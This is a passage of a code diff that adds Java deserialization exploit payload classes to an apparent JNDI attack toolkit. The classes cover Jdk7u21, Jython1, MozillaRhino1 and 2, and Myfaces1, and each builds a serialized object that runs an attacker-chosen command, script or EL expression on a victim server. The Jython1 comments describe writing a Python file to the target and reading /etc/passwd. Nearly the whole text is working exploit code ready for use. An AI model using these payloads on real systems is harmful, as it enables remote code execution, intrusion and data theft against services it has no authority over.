Constructor<?> constructor = c.getDeclaredConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
|
||||
|
||||
// 反射写入 AnnotationInvocationHandler 的 type
|
||||
Reflections.setFieldValue(tempHandler, "type", Templates.class);
|
||||
|
||||
// 为 Templates 创建动态代理
|
||||
Templates proxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
|
||||
new Class[]{Templates.class}, tempHandler);
|
||||
|
||||
// LinkedHashSet 中放入 TemplatesImpl 以及动态代理类
|
||||
LinkedHashSet set = new LinkedHashSet(); // maintain order
|
||||
set.add(templates);
|
||||
set.add(proxy);
|
||||
|
||||
// 反射将 _auxClasses 和 _class 修改为 null
|
||||
Reflections.setFieldValue(templates, "_auxClasses", null);
|
||||
Reflections.setFieldValue(templates, "_class", null);
|
||||
|
||||
// 向 map 中替换 tmpl 对象
|
||||
map.put(zeroHashCodeStr, templates);
|
||||
|
||||
return set;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.rmi.MarshalledObject;
|
||||
import java.util.HashMap;
|
||||
import java.util.LinkedHashSet;
|
||||
|
||||
|
||||
@Authors({"potats0"})
|
||||
public class Jdk7u21variant implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
String zeroHashCodeStr = "f5a5a608";
|
||||
|
||||
HashMap map = new HashMap();
|
||||
map.put(zeroHashCodeStr, "foo");
|
||||
|
||||
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
|
||||
Reflections.setFieldValue(tempHandler, "type", Templates.class);
|
||||
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
|
||||
|
||||
LinkedHashSet set = new LinkedHashSet();
|
||||
set.add(templates);
|
||||
set.add(proxy);
|
||||
|
||||
Reflections.setFieldValue(templates, "_auxClasses", null);
|
||||
Reflections.setFieldValue(templates, "_class", null);
|
||||
|
||||
map.put(zeroHashCodeStr, templates);
|
||||
|
||||
MarshalledObject marshalledObject = new MarshalledObject(set);
|
||||
Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class);
|
||||
|
||||
set = new LinkedHashSet(); // maintain order
|
||||
set.add(marshalledObject);
|
||||
set.add(proxy);
|
||||
map.put(zeroHashCodeStr, marshalledObject); // swap in real object
|
||||
return set;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import org.apache.commons.io.FileUtils;
|
||||
import org.python.core.*;
|
||||
|
||||
import java.io.File;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.math.BigInteger;
|
||||
import java.util.Arrays;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
/**
|
||||
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
|
||||
* <p>
|
||||
* This version of Jython1 writes a python script on the victim machine and
|
||||
* executes it. The format of the parameters is:
|
||||
* <p>
|
||||
* <local path>;<remote path>
|
||||
* <p>
|
||||
* Where local path is the python script's location on the attack box and
|
||||
* remote path is the location where the script will be written/executed from.
|
||||
* For example:
|
||||
* <p>
|
||||
* "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py"
|
||||
* <p>
|
||||
* In the above example, if "read_etc_passwd.py" simply contained the string:
|
||||
* <p>
|
||||
* raise Exception(open('/etc/passwd', 'r').read())
|
||||
* <p>
|
||||
* Then, when deserialized, the script will read in /etc/passwd and raise an
|
||||
* exception with its contents (which could be useful if the target returns
|
||||
* exception information).
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked", "restriction"})
|
||||
@Dependencies({"org.python:jython-standalone:2.5.2"})
|
||||
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
|
||||
public class Jython1 implements ObjectPayload<PriorityQueue> {
|
||||
|
||||
public PriorityQueue getObject(String command) throws Exception {
|
||||
|
||||
|
||||
String[] paths = command.split(":");
|
||||
if (paths.length != 2) {
|
||||
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths));
|
||||
}
|
||||
|
||||
// Set payload parameters
|
||||
String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8");
|
||||
|
||||
// Python bytecode to write a file on disk and execute it
|
||||
String code =
|
||||
"740000" + //0 LOAD_GLOBAL 0 (open)
|
||||
"640100" + //3 LOAD_CONST 1 (remote path)
|
||||
"640200" + //6 LOAD_CONST 2 ('w+')
|
||||
"830200" + //9 CALL_FUNCTION 2
|
||||
"7D0000" + //12 STORE_FAST 0 (file)
|
||||
|
||||
"7C0000" + //15 LOAD_FAST 0 (file)
|
||||
"690100" + //18 LOAD_ATTR 1 (write)
|
||||
"640300" + //21 LOAD_CONST 3 (python code)
|
||||
"830100" + //24 CALL_FUNCTION 1
|
||||
"01" + //27 POP_TOP
|
||||
|
||||
"7C0000" + //28 LOAD_FAST 0 (file)
|
||||
"690200" + //31 LOAD_ATTR 2 (close)
|
||||
"830000" + //34 CALL_FUNCTION 0
|
||||
"01" + //37 POP_TOP
|
||||
|
||||
"740300" + //38 LOAD_GLOBAL 3 (execfile)
|
||||
"640100" + //41 LOAD_CONST 1 (remote path)
|
||||
"830100" + //44 CALL_FUNCTION 1
|
||||
"01" + //47 POP_TOP
|
||||
"640000" + //48 LOAD_CONST 0 (None)
|
||||
"53"; //51 RETURN_VALUE
|
||||
|
||||
// Helping consts and names
|
||||
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)};
|
||||
String[] names = new String[]{"open", "write", "close", "execfile"};
|
||||
|
||||
// Generating PyBytecode wrapper for our python bytecode
|
||||
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "<module>", 0, "");
|
||||
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
|
||||
|
||||
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
|
||||
PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
|
||||
|
||||
// Prepare Trigger Gadget
|
||||
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, (InvocationHandler) handler);
|
||||
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
|
||||
Object[] queue = new Object[]{1, 1};
|
||||
Reflections.setFieldValue(priorityQueue, "queue", queue);
|
||||
Reflections.setFieldValue(priorityQueue, "size", 2);
|
||||
return priorityQueue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.JavaVersion;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import org.mozilla.javascript.*;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
|
||||
|
||||
/*
|
||||
by @matthias_kaiser
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"rhino:js:1.7R2"})
|
||||
@Authors({Authors.MATTHIASKAISER})
|
||||
public class MozillaRhino1 implements ObjectPayload<Object> {
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isBadAttrValExcReadObj();
|
||||
}
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
|
||||
Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
|
||||
Reflections.setAccessible(nativeErrorConstructor);
|
||||
IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();
|
||||
|
||||
Context context = Context.enter();
|
||||
|
||||
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
|
||||
|
||||
Method enterMethod = Context.class.getDeclaredMethod("enter");
|
||||
NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
|
||||
idScriptableObject.setGetterOrSetter("name", 0, method, false);
|
||||
|
||||
Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
|
||||
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
|
||||
idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);
|
||||
|
||||
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
|
||||
Reflections.setAccessible(getSlot);
|
||||
Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
|
||||
Field getter = slot.getClass().getDeclaredField("getter");
|
||||
Reflections.setAccessible(getter);
|
||||
|
||||
Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
|
||||
Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
|
||||
Reflections.setAccessible(memberboxClassConstructor);
|
||||
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
|
||||
getter.set(slot, memberboxes);
|
||||
|
||||
final Object tpl;
|
||||
tpl = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, tpl, TemplatesImpl.class);
|
||||
idScriptableObject.setPrototype(nativeObject);
|
||||
|
||||
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
|
||||
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
|
||||
Reflections.setAccessible(valField);
|
||||
valField.set(badAttributeValueExpException, idScriptableObject);
|
||||
return badAttributeValueExpException;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,104 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import org.mozilla.javascript.*;
|
||||
import org.mozilla.javascript.tools.shell.Environment;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
/**
|
||||
* Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject
|
||||
* <p>
|
||||
* Chain:
|
||||
* <p>
|
||||
* NativeJavaObject.readObject()
|
||||
* JavaAdapter.readAdapterObject()
|
||||
* ObjectInputStream.readObject()
|
||||
* ...
|
||||
* NativeJavaObject.readObject()
|
||||
* JavaAdapter.readAdapterObject()
|
||||
* JavaAdapter.getAdapterClass()
|
||||
* JavaAdapter.getObjectFunctionNames()
|
||||
* ScriptableObject.getProperty()
|
||||
* ScriptableObject.get()
|
||||
* ScriptableObject.getImpl()
|
||||
* Method.invoke()
|
||||
* Context.enter()
|
||||
* JavaAdapter.getAdapterClass()
|
||||
* JavaAdapter.getObjectFunctionNames()
|
||||
* ScriptableObject.getProperty()
|
||||
* NativeJavaArray.get()
|
||||
* NativeJavaObject.get()
|
||||
* JavaMembers.get()
|
||||
* Method.invoke()
|
||||
* TemplatesImpl.getOutputProperties()
|
||||
* ...
|
||||
* <p>
|
||||
* by @_tint0
|
||||
*/
|
||||
@Dependencies({"rhino:js:1.7R2"})
|
||||
@Authors({Authors.TINT0})
|
||||
public class MozillaRhino2 implements ObjectPayload<Object> {
|
||||
public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
|
||||
out.writeObject("java.lang.Object");
|
||||
out.writeObject(new String[0]);
|
||||
out.writeObject(javaObject);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
ScriptableObject dummyScope = new Environment();
|
||||
Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
|
||||
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
|
||||
Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
|
||||
|
||||
Object initContextMemberBox = Reflections.createWithConstructor(
|
||||
Class.forName("org.mozilla.javascript.MemberBox"),
|
||||
(Class<Object>) Class.forName("org.mozilla.javascript.MemberBox"),
|
||||
new Class[]{Method.class},
|
||||
new Object[]{Context.class.getMethod("enter")});
|
||||
|
||||
ScriptableObject initContextScriptableObject = new Environment();
|
||||
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
|
||||
Reflections.setAccessible(makeSlot);
|
||||
Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4);
|
||||
Reflections.setFieldValue(slot, "getter", initContextMemberBox);
|
||||
|
||||
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
|
||||
Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
|
||||
Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
|
||||
Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
|
||||
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
|
||||
Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
|
||||
|
||||
ScriptableObject scriptableObject = new Environment();
|
||||
scriptableObject.setParentScope(initContextNativeJavaObject);
|
||||
makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);
|
||||
|
||||
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
|
||||
Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
|
||||
|
||||
final Object tpl;
|
||||
tpl = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
Reflections.setFieldValue(nativeJavaArray, "javaObject", tpl);
|
||||
nativeJavaArray.setPrototype(scriptableObject);
|
||||
Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);
|
||||
|
||||
NativeJavaObject nativeJavaObject = new NativeJavaObject();
|
||||
Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
|
||||
Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
|
||||
Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
|
||||
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
|
||||
Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
|
||||
return nativeJavaObject;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import org.apache.myfaces.context.servlet.FacesContextImpl;
|
||||
import org.apache.myfaces.context.servlet.FacesContextImplBase;
|
||||
import org.apache.myfaces.el.CompositeELResolver;
|
||||
import org.apache.myfaces.el.unified.FacesELContext;
|
||||
import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
|
||||
|
||||
import javax.el.ELContext;
|
||||
import javax.el.ExpressionFactory;
|
||||
import javax.el.ValueExpression;
|
||||
import javax.servlet.ServletContext;
|
||||
import javax.servlet.ServletRequest;
|
||||
import javax.servlet.ServletResponse;
|
||||
|
||||
/**
|
||||
* ValueExpressionImpl.getValue(ELContext)
|
||||
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
|
||||
* ValueExpressionMethodExpression.getMethodExpression()
|
||||
* ValueExpressionMethodExpression.hashCode()
|
||||
* HashMap<K,V>.hash(Object)
|
||||
* HashMap<K,V>.readObject(ObjectInputStream)
|
||||
* <p>
|
||||
* Arguments:
|
||||
* - an EL expression to execute
|
||||
* <p>
|
||||
* Requires:
|
||||
* - MyFaces
|
||||
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@Dependencies
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
|
||||
public static String[] getDependencies() {
|
||||
if (System.getProperty("el") == null || "apache".equals(System.getProperty("el"))) {
|
||||
return new String[]{
|
||||
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
|
||||
"org.mortbay.jasper:apache-el:8.0.27",
|
||||
"javax.servlet:javax.servlet-api:3.1.0",
|
||||
|
||||
// deps for mocking the FacesContext
|
||||
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
|
||||
};
|
||||
} else if ("juel".equals(System.getProperty("el"))) {
|
||||
return new String[]{
|
||||
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
|
||||
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
|
||||
"javax.servlet:javax.servlet-api:3.1.0",
|
||||
|
||||
// deps for mocking the FacesContext
|
||||
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
|
||||
};
|
||||
}
|
||||
|
||||
throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
|
||||
}
|
||||
|
||||
public static Object makeExpressionPayload(String expr) throws Exception {
|
||||
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
|
||||
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
|
||||
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
|
||||
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
|
||||
|
||||
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
|
||||
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
|
||||
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
|
||||
ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);
|
||||
|
||||
return Gadgets.makeMap(e2, e);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
return makeExpressionPayload(command);
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user